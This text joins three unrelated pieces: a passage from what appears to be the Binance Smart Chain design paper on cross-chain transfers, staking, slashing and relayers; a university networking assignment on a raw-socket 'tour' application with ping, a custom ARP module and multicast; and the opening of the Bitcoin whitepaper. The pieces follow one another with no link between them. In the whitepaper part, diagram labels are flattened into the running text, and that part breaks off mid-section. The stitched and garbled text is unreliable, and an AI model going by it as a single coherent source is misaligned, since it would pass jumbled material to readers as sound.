BSC transfer fails, BSC will issue a failure event and Oracle Relayers will execute a refund on BC; when BSC to BC transfer fails, BC will issue a refund package for Relayer to relay in order to unlock the fund. However, unexpected error or exception may still happen on any step of the cross-chain communication. In such a case, the Relayers and Oracle Relayers will discover that the corresponding cross-chain channel is stuck in a particular sequence. After a Timeout period, the Relayers and Oracle Relayers can request a “SkipSequence” transaction, the stuck sequence will be marked as “Unexecutable”. A corresponding alerts will be raised, and the community has to discuss how to handle this scenario, e.g. payback via the sponsor of the validators, or event clear the fund during next network upgrade. ## Cross-Chain User Experience Ideally, users expect to use two parallel chains in the same way as they use one single chain. It requires more aggregated transaction types to be added onto the cross-chain communication to enable this, which will add great complexity, tight coupling, and maintenance burden. Here BC and BSC only implement the basic operations to enable the value flow in the initial launch and leave most of the user experience work to client side UI, such as wallets. E.g. a great wallet may allow users to sell a token directly from BSC onto BC’s DEX order book, in a secure way. ## Cross-Chain Contract Event Cross-Chain Contract Event (CCCE) is designed to allow a smart contract to trigger cross-chain transactions, directly through the contract code. This becomes possible based on: 1. Standard system contracts can be provided to serve operations callable by general smart contracts; 2. Standard events can be emitted by the standard contracts; 3. Oracle Relayers can capture the standard events, and trigger the corresponding cross-chain operations; 4. Dedicated, code-managed address (account) can be created on BC and accessed by the contracts on the BSC, here it is named as **“Contract Address on BC” (CAoB)**. Several standard operations are implemented: 1. BSC to BC transfer: this is implemented in the same way as normal BSC to BC transfer, by only triggered via standard contract. The fund can be transferred to any addresses on BC, including the corresponding CAoB of the transfer originating contract. 2. Transfer on BC: this is implemented as a special cross-chain transfer, while the real transfer is from **CAoB** to any other address (even another CAoB). 3. BC to BSC transfer: this is implemented as two-pass cross-chain communication. The first is triggered by the BSC contract and propagated onto BC, and then in the second pass, BC will start a normal BC to BSC cross-chain transfer, from **CAoB** to contract address on BSC. A special note should be paid on that the BSC contract only increases balance upon any transfer coming in on the second pass, and the error handling in the second pass is the same as the normal BC to BSC transfer. 4. IOC (Immediate-Or-Cancel) Trade Out: the primary goal of transferring assets to BC is to trade. This event will instruct to trade a certain amount of an asset in CAoB into another asset as much as possible and transfer out all the results, i.e. the left the source and the traded target tokens of the trade, back to BSC. BC will handle such relayed events by sending an “Immediate-Or-Cancel”, i.e. IOC order onto the trading pairs, once the next matching finishes, the result will be relayed back to BSC, which can be in either one or two assets. 5. Auction Trade Out: Such event will instruct BC to send an auction order to trade a certain amount of an asset in **CAoB** into another asset as much as possible and transfer out all the results back to BSC at the end of the auction. Auction function is upcoming on BC. There are some details for the Trade Out: 1. both can have a limit price (absolute or relative) for the trade; 2. the end result will be written as cross-chain packages to relay back to BSC; 3. cross-chain communication fees may be charged from the asset transferred back to BSC; 4. BSC contract maintains a mirror of the balance and outstanding orders on CAoB. No matter what error happens during the Trade Out, the final status will be propagated back to the originating contract and clear its internal state. With the above features, it simply adds the cross-chain transfer and exchange functions with high liquidity onto all the smart contracts on BSC. It will greatly add the application scenarios on Smart Contract and dApps, and make 1 chain +1 chain > 2 chains. # Staking and Governance Proof of Staked Authority brings in decentralization and community involvement. Its core logic can be summarized as the below. You may see similar ideas from other networks, especially Cosmos and EOS. 1. Token holders, including the validators, can put their tokens “**bonded**” into the stake. Token holders can **delegate** their tokens onto any validator or validator candidate, to expect it can become an actual validator, and later they can choose a different validator or candidate to **re-delegate** their tokens<sup>1</sup>. 2. All validator candidates will be ranked by the number of bonded tokens on them, and the top ones will become the real validators. 3. Validators can share (part of) their blocking reward with their delegators. 4. Validators can suffer from “**Slashing**”, a punishment for their bad behaviors, such as double sign and/or instability. 5. There is an “**unbonding period**” for validators and delegators so that the system makes sure the tokens remain bonded when bad behaviors are caught, the responsible will get slashed during this period. ## Staking on BC Ideally, such staking and reward logic should be built into the blockchain, and automatically executed as the blocking happens. Cosmos Hub, who shares the same Tendermint consensus and libraries with Binance Chain, works in this way. BC has been preparing to enable staking logic since the design days. On the other side, as BSC wants to remain compatible with Ethereum as much as possible, it is a great challenge and efforts to implement such logic on it. This is especially true when Ethereum itself may move into a different Proof of Stake consensus protocol in a short (or longer) time. In order to keep the compatibility and reuse the good foundation of BC, the staking logic of BSC is implemented on BC: 1. The staking token is BNB, as it is a native token on both blockchains anyway 2. The staking, i.e. token bond and delegation actions and records for BSC, happens on BC. 3. The BSC validator set is determined by its staking and delegation logic, via a staking module built on BC for BSC, and propagated every day UTC 00:00 from BC to BSC via Cross-Chain communication. 4. The reward distribution happens on BC around every day UTC 00:00. ## Rewarding Both the validator update and reward distribution happen every day around UTC 00:00. This is to save the cost of frequent staking updates and block reward distribution. This cost can be significant, as the blocking reward is collected on BSC and distributed on BC to BSC validators and delegators. (Please note BC blocking fees will remain rewarding to BC validators only.) A deliberate delay is introduced here to make sure the distribution is fair: 1. The blocking reward will not be sent to validator right away, instead, they will be distributed and accumulated on a contract; 2. Upon receiving the validator set update into BSC, it will trigger a few cross-chain transfers to transfer the reward to custody addresses on the corresponding validators. The custody addresses are owned by the system so that the reward cannot be spent until the promised distribution to delegators happens. 3. In order to make the synchronization simpler and allocate time to accommodate slashing, the reward for N day will be only distributed in N+2 days. After the delegators get the reward, the left will be transferred to validators’ own reward addresses. ## Slashing Slashing is part of the on-chain governance, to ensure the malicious or negative behaviors are punished. BSC slash can be submitted by anyone. The transaction submission requires **slash evidence** and cost fees but also brings a larger reward when it is successful. So far there are two slashable cases. ### Double Sign It is quite a serious error and very likely deliberate offense when a validator signs more than one block with the same height and parent block. The reference protocol implementation should already have logic to prevent this, so only the malicious code can trigger this. When Double Sign happens, the validator should be removed from the Validator **Set** right away. Anyone can submit a slash request on BC with the evidence of Double Sign of BSC, which should contain the 2 block headers with the same height and parent block, sealed by the offending validator. Upon receiving the evidence, if the BC verifies it to be valid: 1. The validator will be removed from validator set by an instance BSC validator set update Cross-Chain update; 2. A predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator; Both validator and its delegators will not receive the staking rewards. 3. Part of the slashed BNB will allocate to the submitter’s address, which is a reward and larger than the cost of submitting slash request transaction 4. The rest of the slashed BNB will allocate to the other validators’ custody addresses, and distributed to all delegators in the same way as blocking reward. ### Inavailability The liveness of BSC relies on everyone in the Proof of Staked Authority validator set can produce blocks timely when it is their turn. Validators can miss their turn due to any reason, especially problems in their hardware, software, configuration or network. This instability of the operation will hurt the performance and introduce more indeterministic into the system. There can be an internal smart contract responsible for recording the missed blocking metrics of each validator. Once the metrics are above the predefined threshold, the blocking reward for validator will not be relayed to BC for distribution but shared with other better validators. In such a way, the poorly-operating validator should be gradually voted out of the validator set as their delegators will receive less or none reward. If the metrics remain above another higher level of threshold, the validator will be dropped from the rotation, and this will be propagated back to BC, then a predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator. Both validators and delegators will not receive their staking rewards. ### Governance Parameters There are many system parameters to control the behavior of the BSC, e.g. slash amount, cross-chain transfer fees. All these parameters will be determined by BSC Validator Set together through a proposal-vote process based on their staking. Such the process will be carried on BC, and the new parameter values will be picked up by corresponding system contracts via a cross-chain communication. # Relayers Relayers are responsible to submit Cross-Chain Communication Packages between the two blockchains. Due to the heterogeneous parallel chain structure, two different types of Relayers are created. ## BSC Relayers Relayers for BC to BSC communication referred to as “**BSC Relayers**”, or just simply “Relayers”. Relayer is a standalone process that can be run by anyone, and anywhere, except that Relayers must register themselves onto BSC and deposit a certain refundable amount of BNB. Only relaying requests from the registered Relayers will be accepted by BSC. The package they relay will be verified by the on-chain light client on BSC. The successful relay needs to pass enough verification and costs gas fees on BSC, and thus there should be incentive reward to encourage the community to run Relayers. ### Incentives There are two major communication types: 1. Users triggered Operations, such as `token bind` or `cross chain transfer`. Users must pay additional fee to as relayer reward. The reward will be shared with the relayers who sync the referenced blockchain headers. Besides, the reward won't be paid the relayers' accounts directly. A reward distribution mechanism will be brought in to avoid monopolization. 2. System Synchronization, such as delivering `refund package`(caused by failures of most oracle relayers), special blockchain header synchronization(header contains BC validatorset update), BSC staking package. System reward contract will pay reward to relayers' accounts directly. If some Relayers have faster networks and better hardware, they can monopolize all the package relaying and leave no reward to others. Thus fewer participants will join for relaying, which encourages centralization and harms the efficiency and security of the network. Ideally, due to the decentralization and dynamic re-election of BSC validators, one Relayer can hardly be always the first to relay every message. But in order to avoid the monopolization further, the rewarding economy is also specially designed to minimize such chance: 1. The reward for Relayers will be only distributed in batches, and one batch will cover a number of successful relayed packages. 2. The reward a Relayer can get from a batch distribution is not linearly in proportion to their number of successful relayed packages. Instead, except the first a few relays, the more a Relayer relays during a batch period, the less reward it will collect. ## Oracle Relayers Relayers for BSC to BC communication are using the “Oracle” model, and so-called “**Oracle Relayers**”. Each of the validators must, and only the ones of the validator set, run Oracle Relayers. Each Oracle Relayer watches the blockchain state change. Once it catches Cross-Chain Communication Packages, it will submit to vote for the requests. After Oracle Relayers from ⅔ of the voting power of BC validators vote for the changes, the cross-chain actions will be performed. Oracle Replayers should wait for enough blocks to confirm the finality on BSC before submitting and voting for the cross-chain communication packages onto BC. The cross-chain fees will be distributed to BC validators together with the normal BC blocking rewards. Such oracle type relaying depends on all the validators to support. As all the votes for the cross-chain communication packages are recorded on the blockchain, it is not hard to have a metric system to assess the performance of the Oracle Relayers. The poorest performer may have their rewards clawed back via another Slashing logic introduced in the future. # Outlook It is hard to conclude for Binance Chain, as it has never stopped evolving. The dual-chain strategy is to open the gate for users to take advantage of the fast transferring and trading on one side, and flexible and extendable programming on the other side, but it will be one stop along the development of Binance Chain. Here below are the topics to look into so as to facilitate the community better for more usability and extensibility: 1. Add different digital asset model for different business use cases 2. Enable more data feed, especially DEX market data, to be communicated from Binance DEX to BSC 3. Provide interface and compatibility to integrate with Ethereum, including its further upgrade, and other blockchain 4. Improve client side experience to manage wallets and use blockchain more conveniently ------ [1]: BNB business practitioners may provide other benefits for BNB delegators, as they do now for long term BNB holders.
SOYJUN / Application With Raw IP SocketsOverview For this assignment you will be developing an application that uses raw IP sockets to ‘walk’ around an ordered list of nodes (given as a command line argument at the ‘source’ node, which is the node at which the tour was initiated), in a manner similar to the IP SSRR (Strict Source and Record Route) option. At each node, the application pings the preceding node in the tour. However, unlike the ping code in Stevens, you will be sending the ping ICMP echo request messages through a SOCK_RAW-type PF_PACKET socket and implementing ARP functionality to find the Ethernet address of the target node. Finally, when the ‘walk’ is completed, the group of nodes visited on the tour will exchange multicast messages. Your code will consist of two process modules, a ‘Tour’ application module (which will implement all the functionality outlined above, except for ARP activity) and an ARP module. The following should prove to be useful reference material for the assignment: Sections 21.2, 21.3, 21.6 and 21.10, Chapter 21, on Multicasting. Sections 27.1 to 27.3, Chapter 27, on the IP SSRR option. Sections 28.1 to 28.5, Chapter 28, on raw sockets, the IP_HDRINCL socket option, and ping. Sections 15.5, Chapter 15, on Unix domain SOCK_STREAM sockets. Figure 29.14, p. 807, and the corresponding explanation on p. 806, on filling in an IP header when the IP_HDRINCL socket option is in effect. The Lecture Slides on ARP & RARP (especially Section 4.4, ARP Packet Format, and the Figure 4.3 it includes). The link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use IP raw sockets and PF_PACKET sockets. Note, in partcular, the code “icmp4_ll.c” in Table 2 for building an echo request sent through a PF_PACKET SOCK_RAW socket. The VMware environment You will be using the same vm1 , . . . . . , vm10 nodes you used for Assignment 3. However, unlike Assignment 3, you should use only interfaces eth0 and their associated IP addresses and ignore the other Ethernet interfaces that nodes have (interfaces eth0 make vm1 , . . . . . , vm10 look as if they belong to the same Ethernet LAN segment IP network 130.245.156.0/24). Note that, apart from the primary IP addresses associated with interfaces eth0, some nodes might also have one or more alias IP addresses associated with their interface eth0. Tour application module specifications The application will create a total of four sockets: two IP raw sockets, a PF_PACKET socket and a UDP socket for multicasting. We shall call the two IP raw sockets the ‘rt ’ (‘route traversal’) and ‘pg ’ (‘ping’) sockets, respectively. The rt socket should have the IP_HDRINCL option set. You will only be receiving ICMP echo reply messages through the pg socket (and not sending echo requests), so it does not matter whether it has the IP_HDRINCL option set or not. The pg socket should have protocol value (i.e., protocol demultiplexing key in the IP header) IPPROTO_ICMP. The rt socket should have a protocol value that identifies the application - i.e., some value other than the IPPROTO_XXXX values in /usr/include/netinet/in.h. However, remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s IP packets. For that reason, try to choose a protocol value for your rt socket that is likely to be unique to yourself. The PF_PACKET socket should be of type SOCK_RAW (not SOCK_DGRAM). This socket should have a protocol value of ETH_P_IP = 0x0800 (IPv4). The UDP socket for multicasting will be discussed below. Note that, depending on how you choose to bind that socket, you might actually need to have two UDP sockets for multicast communication – see bottom of p. 576, Section 21.10. Your application will, of course, have to be running on every vm node that is included in the tour. When evoking the application on the source node, the user supplies a sequence of vm node names (not IP addresses) to be visited in order. This command line sequence starts with the next node to be visited from the source node (i.e., it does not start with the source node itself). The sequence can include any number of repeated visits to the same node. For example, suppose that the source node is vm3 and the executable is called badr_tour : [root@vm3/root]# badr_tour vm2 vm10 vm4 vm7 vm5 vm2 vm6 vm2 vm9 vm4 vm7 vm2 vm6 vm5 vm1 vm10 vm8 (but note that the tour does not necessarily have to visit every vm node; and the same node should not appear consequentively in the tour list – i.e., the next node on the tour cannot be the current node itself). The application turns the sequence into a list of IP addresses for source routing. It also adds the IP address of the source node itself to the beginning of the list. The list thus produced will be carried as the payload of an IP packet, not as a SSRR option in the packet header. It is our application which will ensure that every node in the sequence is visited in order, not the IP SSRR capability. The source node should also add to the list an IP multicast address and a port number of its choice. It should also join the multicast group at that address and port number on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application then fills in the header of an IP packet, designating itself as the IP source, and the next node to be visited as the IP destination. The packet is sent out on the rt socket. Note that on Linux, all the fields of the packet header must be in network byte order (Stevens, Section 28.3, p. 737, the fourth bullet point). When filling in the packet header, you should explicitly fill in the identification field (recall that, with the IP_HDRINCL socket option, if the identification field is given value 0, then the kernel will set its value). Try to make sure that the value you choose is likely to be unique to yourself (for reasons similar to those explained with respect to the IPPROTO_XXXX in 1. above). When a node receives an IP packet on its rt socket, it should first check that the identification field carries the right value (this implies that you will hard code your choice of identification field value determined in item 2 above in your code). If the identification field value does not check out, the packet is ignored. For a valid packet : Print out a message along the lines of: <time> received source routing packet from <hostname> <time> is the current time in human-readable format (see lines 19 & 20 in Figure 1.9, p. 14, and the corresponding explanation on p. 14f.), and <hostname> is the host name corresponding to the source IP address in the header of the received packet. If this is the first time the node is visited, the application should use the multicast address and port number in the packet received to join the multicast group on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application updates the list in the payload, so that the next node in the tour can easily identify what the next hop from itself will be when it receives the packet. How you do this I leave up to you. You could, for example, include as part of the payload a pointer field into the list of nodes to be visited. This pointer would then be updated to the next entry in the list as the packet progresses hop by hop (see Figure 27.1 and the associated explanation on pp. 711-712). Other solutions are, of course, possible. The application then fills in a new IP header, designating itself as the IP source, and the next node to be visited as the IP destination. The identification field should be set to the same value as in the received packet. The packet is sent out on the rt socket. The node should also initiate pinging to the preceding node in the tour (the IP address of which it should pick up from the header of the received packet). However, unlike the Stevens ping code, it will be using the SOCK_RAW-type PF_PACKET socket of item 1 above to send the ICMP echo request messages. Before it can send echo request messages, the application has to call on the ARP module you will implement to get the Ethernet address of this preceding / ‘target’ node; this call is made using the API function areq which you will also implement (see sections ARP module specifications & API specifications below). Note that ARP has to be evoked every time the application wants to send out an echo request message, and not just the first time. An echo request message has to be encapsulated in a properly-formulated IP packet, which is in turn encapsulated in a properly-formulated Ethernet frame transmitted out through the PF_PACKET socket ; otherwise, ICMP at the source node will not receive it. You will have to modify Stevens’ ping code accordingly, specifically, the send_v4 function. In particular, the Ethernet frame must have a value of ETH_P_IP = 0x0800 (IPv4 – see <linux/if_ether.h>) in the frame type / ‘length’ field ; and the encapsulated IP packet must have a value of IPPROTO_ICMP = 0x01 (ICMPv4 – see <netinet_in.h>) in its protocol field. You should also simplify the ping code in its entirety by stripping all the ‘indirection’ IPv4 / IPv6 dual-operability paraphernalia and making the code work just for IPv4. Also note that the functions host_serv and freeaddrinfo, together with the associated structure addrinfo (see Sections 11.6, 11.8 & 11.11), in Figures 27.3, 27.6 & 28.5 ( pp. 713, 716 & 744f., respectively) can be replaced by the function gethostbyname and associated structure hostent (see Section 11.3) where needed. Also, there is no ‘-v’ verbose option, so this too should be stripped from Stevens’ code. When a node is ready to start pinging, it first prints out a ‘PING’ message similar to lines 32-33 of Figure 28.5, p. 744. It then builds up ICMP echo request messages and sends them to the source node every 1 second through the PF_PACKET socket. It also reads incoming echo response messages off the pg socket, in response to which it prints out the same kind of output as the code of Figure 28.8, p. 748. If this node and its preceding node have been previously visited in that order during the tour, then pinging would have already been initiated from the one to the other in response to the first visit, and nothing further should nor need be done during second and subsequent visits. In light of the above, note that once a node initiates pinging, it needs to read from both its rt and pg sockets, necessitating the use of the select function. As will be clear from what follows below, the application will anyway be needing also to simultaneously monitor its UDP socket for incoming multicast datagrams. When the last node on the tour is reached, and if this is the first time it is visited, it joins the multicast group and starts pinging the preceding node (if it is not already doing so). After a few echo replies are received (five, say), it sends out the multicast message below on its UDP socket (i.e., the node should wait about five seconds before sending the multicast message) : <<<<< This is node vmi . Tour has ended . Group members please identify yourselves. >>>>> where vmi is the name (not IP address) of the node. The node should also print this message out on stdout preceded, on the same line, by the phrase: Node vmi . Sending: <then print out the message sent>. Each node vmj receiving this message should print out the message received preceded, on the same line, by the phrase: Node vmj . Received <then print out the message received>. Each such node in step a above should then immediately stop its pinging activity. The node should then send out the following multicast message: <<<<< Node vmj . I am a member of the group. >>>>> and print out this message preceded, on the same line, by the phrase: Node vmj . Sending: <then print out the message sent>. Each node receiving these second multicast messages (i.e., the messages that nodes – including itself – sent out in step c above) should print each such message out preceded, on the same line, by the phrase: Node vmk . Received: <then print out the message received>. Reading from the socket in step d above should be implemented with a 5-second timeout. When the timeout expires, the node should print out another message to the effect that it is terminating the Tour application, and gracefully exit its Tour process. Note that under Multicast specifications, the last node in the tour, which sends out the End of Tour message, should itself receive a copy of that message and, when it does, it should behave exactly as do the other nodes in steps a. – e. above. ARP module specifications Your executable is evoked with no command line arguments. Like the Tour module, it will be running on every vm node. It uses the get_hw_addrs function of Assignment 3 to explore its node’s interfaces and build a set of <IP address , HW address> matching pairs for all eth0 interface IP addresses (including alias IP addresses, if any). Write out to stdout in some appropriately clear format the address pairs found. The module creates two sockets: a PF_PACKET socket and a Unix domain socket. The PF_PACKET should be of type SOCK_RAW (not type SOCK_DGRAM) with a protocol value of your choice (but not one of the standard values defined in <linux/if_ether.h>) which is, hopefully, unique to yourself. This value effectively becomes the protocol value for your implementation of ARP. Because this protocol value will be carried in the frame type / ‘length’ field of the Ethernet frame header (see Figure 4.3 of the ARP & RARP handout), the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. The Unix domain socket should be of type SOCK_STREAM (not SOCK_DGRAM). It is a listening socket bound to a ‘well-known’ sun_path file. This socket will be used to communicate with the function areq that is implemented in the Tour module (see the section API specifications below). In this context, areq will act as the client and the ARP module as the server. The ARP module then sits in an infinite loop, monitoring these two sockets. As ARP request messages arrive on the PF_PACKET socket, the module processes them, and responds with ARP reply messages as appropriate. The protocol builds a ‘cache’ of matching <IP address , HW address> pairs from the replies (and requests – see below) it receives. For simplicity, and unlike the real ARP, we shall not implement timing out mechanisms for these cache entries. A cache entry has five parts: (i) IP address ; (ii) HW address ; (iii) sll_ifindex (the interface to be used for reaching the matching pair <(i) , (ii)>) ; (iv) sll_hatype ; and (v) a Unix-domain connection-socket descriptor for a connected client (see the section API specifications below for the latter three). When an ARP reply is being entered in the cache, the ARP module uses the socket descriptor in (v) to send a reply to the client, closes the connection socket, and deletes the socket descriptor from the cache entry. Note that, like the real ARP, when an ARP request is received by a node, and if the request pertains to that receiving node, the sender’s (see Figure 4.3 of the ARP & RARP handout) <IP address, HW address> matching pair should be entered into the cache if it is not already there (together, of course, with (iii) sll_ifindex & (iv) sll_hatype), or updated if need be if such an entry already exists in the cache. If the ARP request received does not pertain to the node receiving it, but there is already an entry in that receiving node's cache for the sender’s <IP address, HW address> matching pair, that entry should be checked and updated if need be. If there is no such entry, no action is taken (in particular, and unlike the case above, no new entry should be made in the receiving node's cache of the sender’s <IP address, HW address> matching pair if such an entry does not already exist). ARP request and reply messages have the same format as Figure 4.3 of the ARP & RARP handout, but with an extra 2-byte identification field added at the beginning which you fill with a value chosen so that it has a high probability of being unique to yourself. This value is to be echoed in the reply message, and helps to act as a further filter in case some other student happens to have fortuitously chosen the same value as yourself for the protocol parameter of the ARP PF_PACKET. Values in the fields of our ARP messages must be in network byte order. You might find the system header file <linux/if_arp.h> useful for manipulating ARP request and reply messages, but remember that our version of these messages have an extra two-byte field as mentioned above. Your code should print out on stdout, in some appropriately clear format, the contents of the Ethernet frame header and ARP request message you send. As described in Section 4.4 of the ARP & RARP handout, the node that responds to the request should, in its reply message, swap the two sender addresses with the two target addresses, as well as, of course, echo back the extra identification field sent with the request. The protocol at this responding node should print out, in an appropriately clear format, both the request frame (header and ARP message) it receives and the reply frame it sends. Similarly, the node that sent the request should print out the reply frame it receives. Finally, recall that the node issuing the request sends out a broadcast Ethernet frame, but the responding node replies with a unicast frame. API specifications The API is for communication between the Tour process and the ARP process. It consists of a single function, areq, implemented in the Tour module. areq is called by send_v4 function of the application every time the latter want to send out an ICMP echo request message: int areq (struct sockaddr *IPaddr, socklen_t sockaddrlen, struct hwaddr *HWaddr); IPaddr contains the primary or alias IPaddress of a ‘target’ node on the LAN for which the corresponding hardware address is being requested. hwaddr is a new structure (and not a pre-existing type) modeled on the sockaddr_ll of PF_PACKET; you will have to declare it in your code. It is used to return the requested hardware address to the caller of areq : structure hwaddr { int sll_ifindex; /* Interface number */ unsigned short sll_hatype; /* Hardware type */ unsigned char sll_halen; /* Length of address */ unsigned char sll_addr[8]; /* Physical layer address */ }; areq creates a Unix domain socket of type SOCK_STREAM and connects to the ‘well-known’ sun_path file of the ARP listening socket. It sends the IP address from parameter IPaddr and the information in the three fields of parameter HWaddr to ARP. It then blocks on a read awaiting a reply from ARP. This read should be backed up by a timeout since it is possible that no reply is received for the request. If a timeout occurs, areq should close the socket and return to its caller indicating failure (through its int return value). Your application code should print out on stdout, in some appropriately clear format, a notification every time areq is called, giving the IP address for which a HW address is being sought. It should similarly print out the result when the call to areq returns (HW address returned, or failure). When the ARP module receives a request for a HW address from areq through its Unix domain listening socket, it first checks if the required HW address is already in the cache. If so, it can respond immediately to the areq and close the Unix domain connection socket. Else : it makes an ‘incomplete’ entry in the cache, consisting of parts (i), (iii), (iv) and (v) ; puts out an ARP request message on the network on its PF_PACKET socket; and starts monitoring the areq connection socket for readability – if the areq client closes the connection socket (this would occur in response to a timeout in areq), ARP deletes the corresponding incomplete entry from the cache (and ignores any subsequent ARP reply from the network if such is received). On the other hand, if ARP receives a reply from the network, it updates the incomplete cache entry, responds to areq, and closes the connection socket.
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uvhw / Bitcoin FoundationBitcoin: A Peer-to-Peer Electronic Cash System Satoshi Nakamoto satoshin@gmx.com www.bitcoin.org Abstract. A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution. Digital signatures provide part of the solution, but the main benefits are lost if a trusted third party is still required to prevent double-spending. We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power. As long as a majority of CPU power is controlled by nodes that are not cooperating to attack the network, they'll generate the longest chain and outpace attackers. The network itself requires minimal structure. Messages are broadcast on a best effort basis, and nodes can leave and rejoin the network at will, accepting the longest proof-of-work chain as proof of what happened while they were gone. 1. Introduction Commerce on the Internet has come to rely almost exclusively on financial institutions serving as trusted third parties to process electronic payments. While the system works well enough for most transactions, it still suffers from the inherent weaknesses of the trust based model. Completely non-reversible transactions are not really possible, since financial institutions cannot avoid mediating disputes. The cost of mediation increases transaction costs, limiting the minimum practical transaction size and cutting off the possibility for small casual transactions, and there is a broader cost in the loss of ability to make non-reversible payments for non- reversible services. With the possibility of reversal, the need for trust spreads. Merchants must be wary of their customers, hassling them for more information than they would otherwise need. A certain percentage of fraud is accepted as unavoidable. These costs and payment uncertainties can be avoided in person by using physical currency, but no mechanism exists to make payments over a communications channel without a trusted party. What is needed is an electronic payment system based on cryptographic proof instead of trust, allowing any two willing parties to transact directly with each other without the need for a trusted third party. Transactions that are computationally impractical to reverse would protect sellers from fraud, and routine escrow mechanisms could easily be implemented to protect buyers. In this paper, we propose a solution to the double-spending problem using a peer-to-peer distributed timestamp server to generate computational proof of the chronological order of transactions. The system is secure as long as honest nodes collectively control more CPU power than any cooperating group of attacker nodes. 1 2. Transactions We define an electronic coin as a chain of digital signatures. Each owner transfers the coin to the next by digitally signing a hash of the previous transaction and the public key of the next owner and adding these to the end of the coin. A payee can verify the signatures to verify the chain of ownership. Transaction Hash Transaction Hash Transaction Hash Owner 1's Public Key Owner 2's Public Key Owner 3's Public Key Owner 0's Signature Owner 1's Signature The problem of course is the payee can't verify that one of the owners did not double-spend the coin. A common solution is to introduce a trusted central authority, or mint, that checks every transaction for double spending. After each transaction, the coin must be returned to the mint to issue a new coin, and only coins issued directly from the mint are trusted not to be double-spent. The problem with this solution is that the fate of the entire money system depends on the company running the mint, with every transaction having to go through them, just like a bank. We need a way for the payee to know that the previous owners did not sign any earlier transactions. For our purposes, the earliest transaction is the one that counts, so we don't care about later attempts to double-spend. The only way to confirm the absence of a transaction is to be aware of all transactions. In the mint based model, the mint was aware of all transactions and decided which arrived first. To accomplish this without a trusted party, transactions must be publicly announced [1], and we need a system for participants to agree on a single history of the order in which they were received. The payee needs proof that at the time of each transaction, the majority of nodes agreed it was the first received. 3. Timestamp Server The solution we propose begins with a timestamp server. A timestamp server works by taking a hash of a block of items to be timestamped and widely publishing the hash, such as in a newspaper or Usenet post [2-5]. The timestamp proves that the data must have existed at the time, obviously, in order to get into the hash. Each timestamp includes the previous timestamp in its hash, forming a chain, with each additional timestamp reinforcing the ones before it. Hash Hash Owner 2's Signature Owner 1's Private Key Owner 2's Private Key Owner 3's Private Key Block Item Item ... 2 Block Item Item ... Verify Verify Sign Sign 4. Proof-of-Work To implement a distributed timestamp server on a peer-to-peer basis, we will need to use a proof- of-work system similar to Adam Back's Hashcash [6], rather than newspaper or Usenet posts. The proof-of-work involves scanning for a value that when hashed, such as with SHA-256, the hash begins with a number of zero bits. The average work required is exponential in the number of zero bits required and can be verified by executing a single hash. For our timestamp network, we implement the proof-of-work by incrementing a nonce in the block until a value is found that gives the block's hash the required zero bits. Once the CPU effort has been expended to make it satisfy the proof-of-work, the block cannot be changed without redoing the work. As later blocks are chained after it, the work to change the block would include redoing all the blocks after it. The proof-of-work also solves the problem of determining representation in majority decision making. If the majority were based on one-IP-address-one-vote, it could be subverted by anyone able to allocate many IPs. Proof-of-work is essentially one-CPU-one-vote. The majority decision is represented by the longest chain, which has the greatest proof-of-work effort invested in it. If a majority of CPU power is controlled by honest nodes, the honest chain will grow the fastest and outpace any competing chains. To modify a past block, an attacker would have to redo the proof-of-work of the block and all blocks after it and then catch up with and surpass the work of the honest nodes. We will show later that the probability of a slower attacker catching up diminishes exponentially as subsequent blocks are added. To compensate for increasing hardware speed and varying interest in running nodes over time, the proof-of-work difficulty is determined by a moving average targeting an average number of blocks per hour. If they're generated too fast, the difficulty increases. 5. Network The steps to run the network are as follows: 1) New transactions are broadcast to all nodes. 2) Each node collects new transactions into a block. 3) Each node works on finding a difficult proof-of-work for its block. 4) When a node finds a proof-of-work, it broadcasts the block to all nodes. 5) Nodes accept the block only if all transactions in it are valid and not already spent. 6) Nodes express their acceptance of the block by working on creating the next block in the chain, using the hash of the accepted block as the previous hash. Nodes always consider the longest chain to be the correct one and will keep working on extending it. If two nodes broadcast different versions of the next block simultaneously, some nodes may receive one or the other first. In that case, they work on the first one they received, but save the other branch in case it becomes longer. The tie will be broken when the next proof- of-work is found and one branch becomes longer; the nodes that were working on the other branch will then switch to the longer one. 3 Block Nonce Tx Tx ... Block Nonce Tx Tx ... Prev Hash Prev Hash New transaction broadcasts do not necessarily need to reach all nodes. As long as they reach many nodes, they will get into a block before long. Block broadcasts are also tolerant of dropped messages. If a node does not receive a block, it will request it when it receives the next block and realizes it missed one. 6. Incentive By convention, the first transaction in a block is a special transaction that starts a new coin owned by the creator of the block. This adds an incentive for nodes to support the network, and provides a way to initially distribute coins into circulation, since there is no central authority to issue them. The steady addition of a constant of amount of new coins is analogous to gold miners expending resources to add gold to circulation. In our case, it is CPU time and electricity that is expended. The incentive can also be funded with transaction fees. If the output value of a transaction is less than its input value, the difference is a transaction fee that is added to the incentive value of the block containing the transaction. Once a predetermined number of coins have entered circulation, the incentive can transition entirely to transaction fees and be completely inflation free. The incentive may help encourage nodes to stay honest. If a greedy attacker is able to assemble more CPU power than all the honest nodes, he would have to choose between using it to defraud people by stealing back his payments, or using it to generate new coins. He ought to find it more profitable to play by the rules, such rules that favour him with more new coins than everyone else combined, than to undermine the system and the validity of his own wealth. 7. Reclaiming Disk Space Once the latest transaction in a coin is buried under enough blocks, the spent transactions before it can be discarded to save disk space. To facilitate this without breaking the block's hash, transactions are hashed in a Merkle Tree [7][2][5], with only the root included in the block's hash. Old blocks can then be compacted by stubbing off branches of the tree. The interior hashes do not need to be stored. Block Hash0 Hash1 Hash2 Hash3 Tx0 Tx1 Tx2 Tx3 Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Block Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Hash2 Hash3 Tx3 Transactions Hashed in a Merkle Tree After 